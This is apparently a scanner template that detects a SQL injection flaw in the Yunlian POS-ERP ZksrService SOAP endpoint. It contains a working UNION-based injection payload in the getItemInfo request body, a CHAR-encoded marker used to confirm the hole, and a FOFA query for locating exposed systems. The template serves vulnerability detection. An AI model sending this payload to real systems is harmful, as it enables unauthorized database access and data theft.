yunlian-pos-erp-zksrservice-sqli: Yunlian POS-ERP ZksrService SQL Injection

id: yunlian-pos-erp-zksrservice-sqli
info:
  name: Yunlian POS-ERP ZksrService SQL Injection
  author: ZacharyZcR
  severity: high
  verified: true
  description: |
    Yunlian POS-ERP Management System ZksrService interface has a SQL injection vulnerability.
    An attacker can execute arbitrary SQL commands through the getItemInfo method.
    FOFA: title="Powered By chaosZ"
  reference:
    - https://github.com/wy876/POC/blob/main/%E4%BA%91%E8%BF%9EPOS-ERP%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E4%BA%91%E8%BF%9EPOS-ERP%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FZksrService%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  tags: yunlian,erp,sqli
  created: 2024/12/31

rules:
  r0:
    request:
      method: POST
      path: /services/ZksrService
      headers:
        Content-Type: text/xml; charset=UTF-8
        SOAPAction: ""
      body: |
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.service.chaosZ.com">
        <soapenv:Header/>
            <soapenv:Body>
                <web:getItemInfo soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
                    <data xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">{"CargoOwner":"1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(122)+CHAR(120)+CHAR(113)+CHAR(72)+CHAR(107)+CHAR(78)+CHAR(109)+CHAR(100)+CHAR(82)+CHAR(69)+CHAR(83)+CHAR(118)+CHAR(67)+CHAR(88)+CHAR(109)+CHAR(100)+CHAR(97)+CHAR(105)+CHAR(115)+CHAR(65)+CHAR(107)+CHAR(117)+CHAR(84)+CHAR(74)+CHAR(100)+CHAR(114)+CHAR(116)+CHAR(109)+CHAR(106)+CHAR(119)+CHAR(88)+CHAR(65)+CHAR(108)+CHAR(117)+CHAR(110)+CHAR(109)+CHAR(118)+CHAR(106)+CHAR(65)+CHAR(77)+CHAR(68)+CHAR(112)+CHAR(74)+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(122)+CHAR(113),NULL-- qfYz"}
                    </data>
                </web:getItemInfo>
            </soapenv:Body>
        </soapenv:Envelope>
    expression: response.status == 200 && response.body.bcontains(b'qpzxqHkNmdRESvCXmdaisAkuTJdrtmjwXAlunmvjAMDpJqpvzq')
expression: r0()